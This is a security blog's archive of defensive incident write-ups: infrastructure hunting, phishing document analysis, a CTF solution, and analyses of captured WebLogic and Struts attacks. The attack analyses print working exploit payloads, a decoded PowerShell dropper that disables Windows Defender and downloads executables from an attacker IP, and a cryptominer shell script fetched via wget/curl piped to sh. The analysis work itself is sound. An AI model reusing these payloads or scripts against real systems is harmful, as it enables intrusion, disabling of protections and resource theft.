Category Archives: analysis

Hunting for possible attacker Cobalt-Strike infra

Recently, we have an incident where suspicious traffic was observed related to external C2. Initial finding found that this IP 172.241.27.17 (172.241.24.0/21) resolved to
atakai[-]technologies[.]host; according to pDNS in Virustotal [1].

So, further digging on this IP found it has port 50050 open. Based on Recorded Future threat analysis report & Cobalt Strike Team Server Population Study, it mentioned that default port for Cobalt Strike controller is on port 50050.

So, I asked to myself. What if the neighboring IPs were also been setup for Cobalt Strike infrastructure? So I decided to go on this journey…

First, we know that the IP range is 172.241.24.0/21. By using this tool, we can convert CIDR notation to a range of IP addresses.

The result, we have 2048 addresses; IP address range between 172.241.24.0-172.241.31.255.

Next, we using online tool named Reverse IP & DNS API from WhoisXML API. Function of this tools is to reveals all domains that share an IP address. Example as below:

To use this tools, we need to buy credit to leverage its API. As for free account, you only have 100 credit to be use on Domain Research Suite tools. But on this case, we need around 2050 credit. Based on their website, 1000 DRS credits = $19.00. So.. yeah..

After you have enough credit, you can use the script as below:

#!/bin/bash

url="https://reverse-ip.whoisxmlapi.com/api/v1?apiKey=whoisxml_apikey&ip="

for i in $(cat ip.txt); do
	content="$(curl -s "$url$i")"
	echo "$content" >> output.txt
done

Remember to put your API key into the script. It will basically produce result into “output.txt“.

After that, import you result into Excel. Then, we sort and select possible domains from the output based on domain naming convention; e.g. atakai, amatai, amamai:

Now we have possible suspected IPs & domains. To further digging, we’ll leverage Shodan.io to see what are the open port available for those IPs.

To use it, we’ll using script as below:

$ curl -s https://api.shodan.io/shodan/host/{172.241.27.17,172.241.27.44,172.241.27.62,172.241.27.65,172.241.27.66,172.241.27.68,172.241.27.72,172.241.27.225,172.241.29.155,172.241.29.156,172.241.29.157}?key=shodan_apikey | jq -r '. | "IP: \(.ip_str) Ports: \(.ports)"'

The output should be like this:

Now we know 7/11 (no pun intended) IPs been observed by Shodan having port 50050 opened. This indicate that this set of IPs possibly used part of Cobalt Strike infra.

Next step is we can search for date registration for each domain from Whois data. But I’m too lazy to continue this. Also I’ve encountered where several Whois provider giving different info regarding of domain registration date. So yeah, maybe I’ll update next time when I’m free πŸ˜‰

Analyzing Phishing Email – Word XML File Analysis

Recently I’ve observed a phishing mail as below:
https://www.virustotal.com/#/file/cf027dd938f1a268f45f2ea786dc538ab47f35006fb12d0b64e0867bccf789c0/detection – clean

The file seems to be clean per VT. Interestingly, on details sections, found 2 URLs under OpenXML Doc Info; section Package Relationships:

To search for these URLs, first you’ll need to rename the Word doc file to compressed zip file. E.g. sample.doc to sample.zip.

Then, extract the zip file. The URLs can be found inside file document.xml.rels (~/sample_folder/word/_rels/):

Its may look simple if you know which & where the file to be look at.

I’m thinking; what if we can search for all the URL/hyperlink in the XML files content of the Word document, without actually having to open it one-by-one.

To do that, we’ll using zipdump, re-search (together with reextra) Python script tools by Didier Stevens:

Download the Python scripts mentioned above and put it into one place. Then, executed this command below:

./zipdump.py -D sample.zip | ./re-search.py -f -n url -u

Command above will search the content of the zip file & extract/applied regex searching for URLs.

As you can see below, these is all the URLs that contained in the Word doc:

Analyzing Oracle WebLogic attack

Recently we received an alert from our WAF related to an attack towards our environment.

Further review of the alert found that the attacker is using Oracle WebLogic RCE Deserialization Vulnerability (CVE-2018-2628).

We observed that the attacker included some sort of PowerShell command in their request:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8.0_131" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
  <array class="java.lang.String" length="3">
    <void index="0">
      <string>cmd.exe</string>
    </void>
    <void index="1">
      <string>/c</string>
    </void>
    <void index="2">
      <string>Start /Min PowerShell.exe -NoP -NonI -EP ByPass -W Hidden -E JABPAFMAPQAoAEcAVwBtAGkAIABXAGkAbgAzADIAXwBPAHAAZQByAGEAdABpAG4AZwBTAHkAcwB0AGUAbQApAC4AQwBhAHAAdABpAG8AbgA7ACQAVwBDAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAFcAQwAuAEgAZQBhAGQAZQByAHMAWwAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwBdAD0AIgBQAG8AdwBlAHIAUwBoAGUAbABsAC8AVwBMACsAIAAkAE8AUwAiADsASQBFAFgAIAAkAFcAQwAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADEAMQAuADIAMwAwAC4AMgAyADkALgAyADIANgAvAGkAbQBhAGcAZQBzAC8AdABlAHMAdAAvAEQATAAuAHAAaABwACcAKQA7AA==</string>
    </void>
  </array>
    <void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

Seems like the PowerShell command is using Base64 encoding for obfuscation. I use CyberChef to decode the base64. Result we get after decoding it:

$OS=(GWmi Win32_OperatingSystem).Caption;$WC=New-Object Net.WebClient;$WC.Headers['User-Agent']="PowerShell/WL+ $OS";IEX $WC.DownloadString('http://111.230.229.226/images/test/DL.php');

Seems like it tried to fetch file DL.php at http://111.230.229.226/images/test/DL.php. Lets try grab that file:

[email protected]:~# wget http://111.230.229.226/images/test/DL.php
--2018-04-29 19:50:27--  http://111.230.229.226/images/test/DL.php
Connecting to 111.230.229.226:80... connected.
HTTP request sent, awaiting response... 404 Not Found
2018-04-29 19:50:28 ERROR 404: Not Found.

Hmm.. Error 404..? Is it true error? Or did we missing something here?

Lets analyze the command carefully:

PS C:\Users\Fossil\Desktop> $OS=(GWmi Win32_OperatingSystem).Caption;
PS C:\Users\Fossil\Desktop> $WC=New-Object Net.WebClient;
PS C:\Users\Fossil\Desktop> $WC.Headers['User-Agent']="PowerShell/WL+ $OS";
PS C:\Users\Fossil\Desktop>
PS C:\Users\Fossil\Desktop> echo $OS;
Microsoft Windows 7 Ultimate
PS C:\Users\Fossil\Desktop> echo $WC.Headers['User-Agent'];
PowerShell/WL+ Microsoft Windows 7 Ultimate

We can see the attacker is assigning/using specific User-Agent when fetching the file. That’s why when we try to wget/curl the file directly, it failed.

So what we need to do is set the User-Agent exactly the same as above when fetching the file. In this case, I’m using curl to fetch the file:

[email protected]:~# curl -v -H User-Agent: "PowerShell/WL Microsoft Windows 7 Professional" http://111.230.229.226/images/test/DL.php
*   Trying 111.230.229.226...
* Connected to 111.230.229.226 (111.230.229.226) port 80 (#0)
> GET /images/test/DL.php HTTP/1.1
> Host: 111.230.229.226
> Accept: */*
> User-Agent: PowerShell/WL Microsoft Windows 7 Professional
<
< HTTP/1.1 200 OK
< Date: Sun, 29 Apr 2018 11:50:23 GMT
< Server: Apache/2.2.21 (Win32) PHP/5.3.10
< X-Powered-By: PHP/5.3.10
< Content-Length: 2539
< Content-Type: text/html
<
$EncodedCompressedFile = '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';$DeflatedStream = New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String($EncodedCompressedFile),[IO.Compression.CompressionMode]::Decompress);$UncompressedFileBytes = New-Object Byte[](3948);$Null=$DeflatedStream.Read($UncompressedFileBytes, 0, 3948);([Text.Encoding]::ASCII.GetString($UncompressedFileBytes)) | IEX;

Ah.. Now see young padawan? Previously if the file been fetch without the User-Agent, it will failed/throw error 404. Again, we see another set of base64 encoding here.

But what is it?

I’m not an expert to explain this, but TL;DR, it convert the base64 encoded string to a memory stream and executes it. I guess Β―_(ツ)_/Β―

So, to see what happen if this command executes, we can use this Python script below to decode it. With this script, we can basically see what are those base64 are doing.

We’ll create a Python script named “decodeb64.py“. Copy the base64 we found above, paste it after the encoded parameters; as example below:

#!/usr/bin/python
import base64
import zlib

encoded = "7b0HYBxJliUmL23Ke39K9UrX4HShCIBgEyTYkEAQ7MGIzeaS7B1pRyMpqyqBymVWZV1mFkDM7Z28995777333nvvvfe6O51OJ/ff/z9cZmQBbPbOStrJniGAqsgfP358Hz8ifrcv1m3+7kW2yNPP0o8/L6tJVv6+ezu7Bzv7uw8//o2T321yUudZm8/o69/tWZk1OX0255fokxf51faXk5/Op236+rpp88X4zZyaz4rlxZjbbP1ubb3OR66X0fde5efft1Dv/MZJcZ5u+X//4t84+bHXbVa326/LPF+lhAp9on2OX+VlTkgIcGr9S37jJC+BFF47fVe0/BH++/GvVjMCSeh+d1GYAdZV1f6+02JxuffoZXWV16/neVn+/ifVYpEtZxju4uXZ7LPf7cW6LA/5d3pp63sE4ISG3nw/NbDujF/W1Sqv2yJvvvcxGn78/fFPZuU61wHxu9vLPGVYd9JfnBJ+362LNt/+dtW06UffK76fflnOUmr3KOXmH1GLz/N2myBP86ZJtwmCwjmt66o+nrZFtUxfF2W+bMvrk2rZFst1nv5M+rqtVu61Z1U9zZkMvZHP8vNsXbY/H8aO/3631/Wljv+jn5qvn1bLi2fZ8uL3WX80Sj96UTT09Uejj75ovli9vpzSb9+d4UP5tVg+zc/z5QxNv3hy/MXrvL4spjl9le0dU+9fZOVVVueE+HlFvDud08AJXlosU9OtMPOP/9hrGpi+nm4zPtxym7l8vXpzvcrTp0WTTcr8hvEyNAw4Bo7HftP7P8ZzQgR5fTLO3+UpfXNeXAgExuczi0q/MbrmpsJdRPVB6oKop8sLkHd1spi9Wi/p10XT5DRP9Jsj/uvj1yfrAq8sJtmirbNrNKRfG4/g5nef2NQ7E1uxUM0RMJEQBw2/PhcZErzKL5gGx7NZ+tG3f6/nX/y+r6vz9rvEAr/vF8W0rhr66/clrplVV00qrJPXv+/r1fWLvP0ovXuZfiS/v8pXFYkOkSa926avTj///Z9+98tXT9O7s3QnvXv+oR2evpuW64ZG2fy+L7N23kjXv9vp8vIRWLqoP6Dbl1VZTEnoN/Qv3SkHQUxo0CwmvV53B3uVTtmc/L4n67qmucJM1VVJgvT7Kuc3v6+wEPpjvu11sP+hHahe+Fnsweibn80ujB67qQ/Rl9O6WLUQaN8Cb0GoXpGRqBbp9hckc5/u0M/sXXpvZ+fO4dnp751ueY4A8fj4u/nkpCwIpTvjp9XVsqyy2eu2Jqbf+njetqtHd+/u7u6O9+7tjPf2HtL/P71bLLKLvLlLBuru0+fjVbP78Z3Djw4tSk+u27whvL5n3Iz8XTs+XU4ruBrff/Toq2VBv+djwpSbbul7dwCC2+UzOzgDhOh1SWaMXn9TPSGn4tN9RdLvFBCg60iYQBeWJHn/FSyq/Hpvz0iCs6y/7+XueOf3dX9j5kiB/W7H9cUlIG2/qF6SiqqWZ6SdXqZPrl9m0D3fTb9dzGb5kj5MQ8zxslFRn8lceiqLdBrjKJhuUy/rBU3A84IMrvS5LSi+bq/L3HaCTslnWzvYbPd/ty3z5/jMOmmugTPuonUD4/7J94kH1qBklb58nRoU6bWiSR2QjzrOWwBjexOMF189f/6RNfI/bjgsr2kQ7w4+BXE3cxlNa3uXWpopeffp/m1f+nTfvASKW44Q3fr7vskXq9+3bIim4/z35lbfPYm6yYGQqPARgBg8SAHI/7tuvSEMtmWS6cs7d34xAz4jePxBuq2eRE0dVfX1YfpLzJsswdKQ0RYLdyfdJmp+7+zLMT48W55X378Db+1Vvqgu8377G6yocbq+fA3HET2Sw6jDpvHc24OvuSLHvRYi3BnLT2ANQf9y6LUvydnMYDLNe1++Pq6nc2KXabuu1evcQr+klVpyDj7+dP9jGtyXNXyyL4NPYwwLb/R1+un+9qSAkP0YTZpVWxj+FhhkJKSg93+Mu/Mmgz9Pt/NfRL9mxM9og076gG7JYr//T37xktnM6/SXDIvLxzqCe3sYwcfxERx8+sMbwcGnwyOQ2er2HRkTqREr2TMelFpBkp3X306fEZtfZfQBjOFxWZKenZGauKgzw7QfqUpOJRD8KD1dwishSDBZ/shuZ5t4bN/94kys06bpIO31LCvK9E1lh0AD+CX/Dw=="

# [Convert]::FromBase64String
decoded = base64.b64decode(encoded)

# IO.Compression.DeflateStream
# 15 is the default parameter, negative makes it ignore the gzip header
decompressed = zlib.decompress(decoded, -15)

print decompressed

Save the script and run the Python script as below:

C:\Users\Fossil\Desktop>python decodeb64.py > output_DL_php.txt

This will save all the output from your CMD to text file for easier to ready.
P/S : Your can rename output_DL_php.txt to any filename that you want.

Let’s see whats inside the text file:

$MutexName = 'Global\20180419'
$bCreated = $Flase
$hMutex = New-Object System.Threading.Mutex($true,$MutexName,[Ref]$bCreated)
if ($bCreated)
{
        Start-Sleep 180
        $hMutex.ReleaseMutex()
}
else
{
        Exit
}


#Update
$WmiName = 'root\cimv2:PowerShell_Command'
$mPId=$Null;$mPId = ([WmiClass] $WmiName).Properties['mPId'].Value
if ($mPId -ne $Null) {
        Write-Host "[i] Old PId: $mPId"
        Get-Process -Id $mPId -ErrorAction SilentlyContinue | Stop-Process -Force
}
$WmiName = 'root\default:PowerShell_Command'
$mPId=$Null;$mPId = ([WmiClass] $WmiName).Properties['mPId'].Value
if ($mPId -ne $Null) {
        Write-Host "[i] Old PId: $mPId"
        Get-Process -Id $mPId -ErrorAction SilentlyContinue | Stop-Process -Force
}


$SrvName = "ZhuDongFangYu", "NisSrv","MsMpSvc","WdNisSvc","WinDefend", "MBAMService","a2AntiMalware"
foreach ($Srv in $SrvName)
{
#       Set-Service -Name $Srv -StartupType Disabled -ErrorAction SilentlyContinue
#       Stop-Service -Name $Srv -Force -ErrorAction SilentlyContinue
        $Null = SC.exe Config $Srv Start= Disabled
        $Null = SC.exe Stop $Srv
}
$ProName = "ZhuDongFangYu", "MsMpEng","MpCmdRun","msseces","NisSrv","MSASCui", "mbamtray","mbamservice","a2service"
foreach ($Pro in $ProName)
{
        Get-Process -Name $Pro -ErrorAction SilentlyContinue | Stop-Process -Force
}

$Null = Reg.exe Add "HKLM\SoftWare\Microsoft\Windows Defender\SpyNet" /v "SpyNetReporting" /t REG_DWORD /d 0 /f
$Null = Reg.exe Add "HKLM\SoftWare\Microsoft\Windows Defender\Exclusions\Paths" /v "$Env:WinDir" /t REG_DWORD /d 0 /f
$Null = Reg.exe Add "HKLM\SoftWare\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
$Null = Reg.exe Add HKLM\System\CurrentControlSet\Services\NisSrv /v Start /t REG_DWORD /d 4 /f
$Null = Reg.exe Add HKLM\System\CurrentControlSet\Services\MsMpSvc /v Start /t REG_DWORD /d 4 /f
$Null = Reg.exe Add HKLM\System\CurrentControlSet\Services\WdNisSvc /v Start /t REG_DWORD /d 4 /f
$Null = Reg.exe Add HKLM\System\CurrentControlSet\Services\WinDefend /v Start /t REG_DWORD /d 4 /f


$Script = "Start-Sleep (Get-Random -Min 60 -Max 300);IEX (New-Object Net.WebClient).DownloadString('http://111.230.229.226/images/def/DL.ps1');";
$ScriptBytes = [System.Text.Encoding]::Unicode.GetBytes($Script);
$EncodedScript = [System.Convert]::ToBase64String($ScriptBytes);

$Path = "$Env:SystemRoot\System32\WindowsPowerShell\v1.0\PowerShell.exe"
$Argv = "-NoP -NonI -EP ByPass -W Hidden -E $EncodedScript"
$Process = Start-Process -FilePath $Path -ArgumentList $Argv -WindowStyle Hidden -PassThru
$ProcessId = $($Process.Id)
if ($ProcessId -ne $Null)
{
        Write-Host "[+] Neutrino PS Process Id is $ProcessId"
}
else
{
        Write-Host "[-] Neutrino PS Process Id is NULL"
}


#Downloader
$x86 = "http://111.230.229.226/images/test/x86.exe"
$x64 = "http://111.230.229.226/images/test/x64.exe"
$File = "$Env:WinDir\Temp\lsass.eXe"
$WC = New-Object System.Net.WebClient


$Dir = "$Env:WinDir\Temp";
if (!(Test-Path $Dir)){ New-Item $Dir -Type Directory; }
if (!((Get-Item $File -Force) -is [IO.FileInfo])) { Remove-Item $File -Force -ErrorAction SilentlyContinue }


$OS = (Get-WmiObject Win32_ComputerSystem).SystemType
$SO = (Get-WmiObject Win32_OperatingSystem).OSArchitecture
if (($OS -Match '64') -Or ($SO -Match '64'))
{
        Write-Host "[i] OS 64-bit"
        $WC.DownloadFile($x64, $File)
        if ((Test-Path $File) -eq $False)
        {
                $WC.DownloadFile("http://111.230.229.226/images/test/x64_VMP.exe", $File)
        }
}
else
{
        Write-Host '[i] OS 32-bit'
        $WC.DownloadFile($x86, $File)
        if ((Test-Path $File) -eq $False)
        {
                $WC.DownloadFile("http://111.230.229.226/images/test/x86_VMP.exe", $File)
        }
}

if (Test-Path $File)
{
        Write-Host '[+] Downloaded'
        $Null = NetSH Firewall Add AllowedProgram $File "Windows Update" Enable
        IEX $WC.DownloadString('http://111.230.229.226/images/test/WMI.ps1')
}
else
{
        Write-Host '[-] Fail To Download'
}

As you can see, the command is doing bunch of stuff that I’m lazy to explain πŸ˜‰
Hope you enjoy reading this.

Here’s some of IOCs that I managed to gather:

017eba5231a63782bdd1d7c8beff5b0b *DL.php
bee2f2223729166c264037a82fa4fed3 *DL.ps1
b5065178c574936a1b7e477929ba1075 *lsass.eXe
1dd6bc7549913b64595540bc77059415 *Neutrino.ps1
dfcb19949d55d35e5d3f1dd569218ce4 *WMI.ps1
ec5e6097038be59e7311f9de8d6354d6 *x64.exe
35cb2b208085bcb5b93ea6420f01c92b *x64_VMP.exe
2129a8287215558e5870c7cc89d0a8fe *x86.exe
c11dbd4777d6ec2b434c424e201c0e6b *x86_VMP.exe

References:
https://gist.githubusercontent.com/strazzere/5faa709a3db9e1dcf3b5/raw/42b98a918bac3725934bcfa3087ac5936d9b88d1/decrypt.py
http://threat.tevora.com/5-minute-forensics-decoding-powershell-payloads/

Wargames 2017 – Challenge 9 : unreachable

The question is:

"The critical server seems unreachable. The sysadmin tries to identify the cause of it..but weird..he is doing it backwardly."
http://files.wargames.my/2/p100.7zv
question for challenge 2
question for challenge 2

and the hint given to us:

hint for challenge 2
hint for challenge 2

so… RFC 792 – something related to ICMP/ping yada yada
so we open the pcap file in Wireshark, view only ICMP protocol:

open pcap using wireshark & then filter ICMP only

we can see ICMP traffic involving 2 IPs; 192.168.1.8 & 192.168.1.10

after digging around, I find out there is some “unique differences” at ping identification number; offset 0010. this involving IP 192.168.1.8:

lets use tshark to see it clearly:

tshark -r pcap1-100_1_copy.pcapng -x 'icmp and ip.src==192.168.1.8' | grep 0010
use tshark & grep offset 0010

as noted in the hint above; “he is tracing backwardly.”

so the flag is: flag_is_p!ngp0ng~
but actually…. the flag is: p!ngp0ng~ =.=’

Shell hiding in image files

One day, we noticed strange GET request towards our JBoss server:

GET /login.action   HTTP/1.1
Host: X.X.X.X
Connection: keep-alive 
Accept-Encoding: gzip, deflate 
Accept: */* 
User-Agent: Mozilla/5.0 
Content-Type: %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo "48 * * * * wget -O - -q http://91.230.47.41/pics/logo.jpg|sh\n18 * * * * curl http://91.230.47.41/pics/logo.jpg|sh" | crontab -').(#iswin=(@[email protected]('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@[email protected]().getOutputStream())).(@[email protected](#process.getInputStream(),#ros)).(#ros.flush())} 

From the request above, you’ll quickly noticed that this attack leveraging Apache Struts vulnerability from CVE-2017-5638.

The request tried to execute command below:

#cmd='echo "48 * * * * wget -O - -q http://91.230.47.41/pics/logo.jpg|sh\n18 * * * * curl http://91.230.47.41/pics/logo.jpg|sh" | crontab -'

Some explanations:
“-O” : writes the documents to file.
“-” : if is used as file, documents will be printed to standard output, disabling link conversion.
“-q” : quiet (no output)

As you see, it tried to fetch a .jpg file from 91.230.47.41. Seems normal right?
Let’s fetch that file & take a look inside it:

[email protected]:~/a# file logo.jpg
logo.jpg: POSIX shell script, ASCII text executable

ASCII?? Not JPG?? hmm..
Lets see what’s inside the “logo.jpg” file:

[email protected]:~/a# cat logo.jpg
#!/bin/sh
rm -rf /tmp/systemd-logind
rm -rf /tmp/logind.conf
rm -rf /tmp/kworker
rm -rf /tmp/kworker.conf
rm -rf /tmp/kauditd.conf
pkill -f stratum
pkill -f "/tmp/apache"
pkill -f "/tmp/httpd.conf"
pkill -f cryptonight
pkill -f qivtpwwuxs
ps auxf|grep -v grep|grep -v smzgmilpdo|grep "/tmp/"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "\./"|grep 'httpd.conf'|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "\-p x"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "cryptonight"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "qivtpwwuxs"|awk '{print $2}'|xargs kill -9
ps -fe|grep smzgmilpdo|grep -v grep
if [ $? -ne 0 ]
then
echo "start process....."
chmod 777 /tmp/smzgmilpdo.conf
rm -rf /tmp/smzgmilpdo.conf
curl -o /tmp/smzgmilpdo.conf http://91.230.47.41/pics/kworker.conf
wget -O /tmp/smzgmilpdo.conf http://91.230.47.41/pics/kworker.conf
chmod 777 /tmp/kauditd
rm -rf /tmp/kauditd
cat /proc/cpuinfo|grep aes>/dev/null
if [ $? -ne 1 ]
then
curl -o /tmp/kauditd http://91.230.47.41/pics/kworker
wget -O /tmp/kauditd http://91.230.47.41/pics/kworker
else
curl -o /tmp/kauditd http://91.230.47.41/pics/kworker_na
wget -O /tmp/kauditd http://91.230.47.41/pics/kworker_na
fi
chmod +x /tmp/kauditd
cd /tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$((($proc+1)/2))
nohup ./kauditd -c smzgmilpdo.conf -t `echo $cores` >/dev/null &amp;
else
echo "runing....."
fi

We noticed there are several other file fetched; possibly a config file & bin file.
Let’s fetch those file!

Here is the config file:
http://91.230.47.41/pics/kworker.conf

{{
    "url" : "stratum+tcp://212.129.44.157:80",
    "url" : "stratum+tcp://212.129.46.87:80",
    "url" : "stratum+tcp://212.129.44.156:80",
    "url" : "stratum+tcp://212.129.46.191:80",
    "url" : "stratum+tcp://62.210.29.108:80",
    "url" : "stratum+tcp://212.83.129.195:80",
    "url" : "stratum+tcp://212.129.44.155:80",
    "user" : "466iRjZzJZZWAqzV24ywY8XMVNkp9hj8UJiBEf61Eui6Nw8bEAJ1z434LWM3SKdaDyH7zgNY64rgg2fYmw8cbP5uBjpMA8g",
    "pass" : "x",
    "algo" : "cryptonight",
    "quiet" : true
}

Not sure it is. Maybe some sort of config file for cryptomining. Lets analyze the other 2 files.

First file: http://91.230.47.41/pics/kworker

[email protected]:~/91.230.47.41# file kworker
kworker: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, stripped

hmm.. an executable Linux file..
Lets see if the file is packed:

[email protected]:~/91.230.47.41# upx -l kworker
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2011
UPX 3.08        Markus Oberhumer, Laszlo Molnar &amp; John Reiser   Dec 12th 2011

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
   2979640 ->   1217152   40.85%  linux/ElfAMD   kworker

Yup. so lets unpacked the file using UPX:

[email protected]:~/91.230.47.41# upx -d kworker
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2011
UPX 3.08        Markus Oberhumer, Laszlo Molnar &amp; John Reiser   Dec 12th 2011

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
   2980813 <-   1217152   40.83%  linux/ElfAMD   kworker

Unpacked 1 file.

[email protected]:~/91.230.47.41# upx -l kworker
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2011
UPX 3.08        Markus Oberhumer, Laszlo Molnar &amp; John Reiser   Dec 12th 2011

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
upx: kworker1: NotPackedException: not packed by UPX

Another file: http://91.230.47.41/pics/kworker_na

[email protected]:~/91.230.47.41# file kworker_na
kworker_na: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=0x0eedc33c49aeb80818a839a9b23cf159c710e443, stripped

[email protected]:~/91.230.47.41# upx -l kworker_na
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2011
UPX 3.08        Markus Oberhumer, Laszlo Molnar &amp; John Reiser   Dec 12th 2011

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
upx: kworker_na: NotPackedException: not packed by UPX

Overall, looks like the attacker want to hack our servers & turn it into his own crypto currency mining machine.
Typical behavior of attack we see in this time where the crypto currency is rising. People hack to make profit. πŸ™‚

Here the MD5 for file above:

211e98ac0686fe98d06570ad0689e9b3  logo.jpg
d2a01b844521fb141b8449f4d8e1c821  kworker.conf
483b322b42835227d98f523f9df5c6fc  kworker (upx packed)
4fa4269b7ce44bfce5ef574e6a37c38f  kworker (upx unpacked)
131df88b7d0b3e7a1c4d84c37e71fb60  kworker_na

Dionaea simple analysis

For this analysis, we’ll using Python3 that bundled with Dionaea:

/opt/dionaea/bin/python3

Running command above will open a Python console. Enter the code below line by line:

f = open('/tmp/test.bin','wb+')
